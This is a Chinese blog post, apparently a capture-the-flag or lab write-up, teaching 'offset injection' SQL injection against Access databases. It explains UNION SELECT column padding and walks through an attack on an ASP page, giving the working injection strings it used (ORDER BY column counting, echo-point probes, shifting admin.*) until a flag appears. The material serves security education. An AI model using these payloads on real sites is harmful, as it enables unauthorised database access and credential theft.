Web – Access偏移溢注

文章目录

知识点

之前的查询数据都是先表名,再字段…但是在Access数据库中,可没有什么“系统自带库”,这个时候,哼哼,就要来点花活了
丑话说在前面,Access中的表名是无解的,要么跑字典,要么猜

选中库.表.字段
*:通配符,表示所有
表.*:所有字段

偏移溢注:当原表字段大于我要查询的表的字段的时候,就要用到偏移溢注

是不是觉得我没说明白,来感受一下:

select * from login where username='$username'	//假设 login 表 6 个字段
union 
select 1,2,admin.* from admin;		//假设 admin 表 4 个字段

可以用1,2来补位,更甚之移动admin.*的位置!!
这就叫偏移注入!

实战

在这里插入图片描述
拿到一个做的跟非法网站一样的东西,随便点一个进去看一下
在这里插入图片描述
看到是ASP写的,而且有GET传参,可以在Cookie上动点手脚
在这里插入图片描述
尝试注入:id=171' -- qwe
在这里插入图片描述
不能闭合,不闭合试试,直接排字段:id=171 order by 1
在这里插入图片描述
果然没有闭合,最后查出来是十个字段,猜测表名是admin,而且测出来admin表的字段比这个页面的字段数还要大,就在这几个页面里试,最终找到比admin表的字段大的

发现id=105这个页面有26个字段,查一下回显点:id=105 and 1=2 union select 11111,21111,31111,41111,51111,61111,71111,81111,91111,101111,111111,121111,131111,141111,151111,161111,171111,181111,191111,201111,211111,221111,231111,241111,251111,261111 from admin
发现回显点为:3,5,7,25
在这里插入图片描述
这里注意,如果不写and 1=2是正常页面,写了就不会回显正常页面而输出我们想看到的回显点!
要检查源码!它里面也有输出点呢!!!

现在开始将26替换为admin.*,以此来判断一下admin表里有几个字段,逐次删除位数,直到页面正常回显:id=105 union select 1,2,31111,4,51111,6,71111,8,9,10,admin.* from admin
在这里插入图片描述
看来admin表有16个字段,而且倒数第二个字段是" ",接下来就是偏移溢注,其实就是把admin.*一直向左移,查敏感字段id=105 union select 1,2,31111,4,51111,6,71111,8,9,admin.*,26 from admin
在这里插入图片描述
移了一下flag就来啦,耶比耶比

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>